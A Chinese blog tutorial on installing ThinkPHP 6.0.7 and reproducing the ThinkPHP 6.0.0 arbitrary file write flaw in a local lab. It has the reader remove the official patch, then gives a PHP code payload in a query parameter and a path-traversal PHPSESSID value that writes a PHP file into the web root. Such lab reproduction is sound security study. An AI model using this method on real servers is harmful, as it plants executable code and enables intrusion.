温馨提示×

温馨提示×

您好,登录后才能下订单哦!

密码登录×
登录注册×
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

发布时间:2021-10-18 16:03:07 来源:亿速云 阅读:230 作者:柒染 栏目:安全技术

这篇文章给大家介绍如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。

tinkphp6.0.7的安装

一、首先准备环境phpstudy7.1.13

二、再准备Composer安装程序,安装到phpstudy7.1.13路径下

这个路径随意

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

这个路径就可以

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

进入该命令行之后执行命令进行安装

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

composer create-project topthink/think tp

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

下载之后将tp文件夹,移动到自己习惯访问的文件夹下面

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

配置信息

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

修改配置文件的

/tp/config ##路径

上一个修改错了

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

app_nameespace true改成flase

验证传参信息

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

tp6.0.0任意文件写入漏洞复现:

一、首先下载源码

composer create-project topthink/think tp 6.0.0

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

然后移动到要放到网站目录下面

之后访问:http://127.0.0.1:8086/cms2021/tp/public/

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

发现安装成功:

6.0.0 版本号

php think run 运行开发环境

二、部署漏洞环境

漏洞文件位置:

\tp\vendor\topthink\framework\src\think\session\Store.php

注意要点:

1.删除官方打的补丁-->ctype_alnum函数

在121行把补丁给去掉

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

去掉后

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

32个字符个数,

UA头或者是cookie信息

2.步骤二:添加一个可以

\tp\app\controller\index.php添加

use think\facade\Session; //session

$test=request()->only(['a']); //index方法中写入
Session::set("test",$test['a']); //index方法中写入

注意添加位置

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

3.步骤三:打开接受seeion会话

tp\app\middleware.php 打开session信息

\think\middleware\SessionInit::class

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

三、漏洞复现

http://127.0.0.1/tp/public/index.php?a=%3C?php%20phpinfo();?%3E

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

如果执行这一个的话,会发现没有任何回显,我们可以去他的网站根目录去查看

\tp\runtime\session

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

发现是以序列化的形式进来的

四、抓包修改session会话写入网站根目录

PHPSESSID=../../../../123456789chongxqweq.php 要写入的文件

注意:如果PHPSESSID要满足32位字符,如果上传不成功的话,那么就删删减减,直到上传成功为止

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

验证

如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现

关于如何进行tinkphp6.0.7的安装以及thinkphp6.0.0任意文件写入漏洞复现就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

向AI问一下细节

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

AI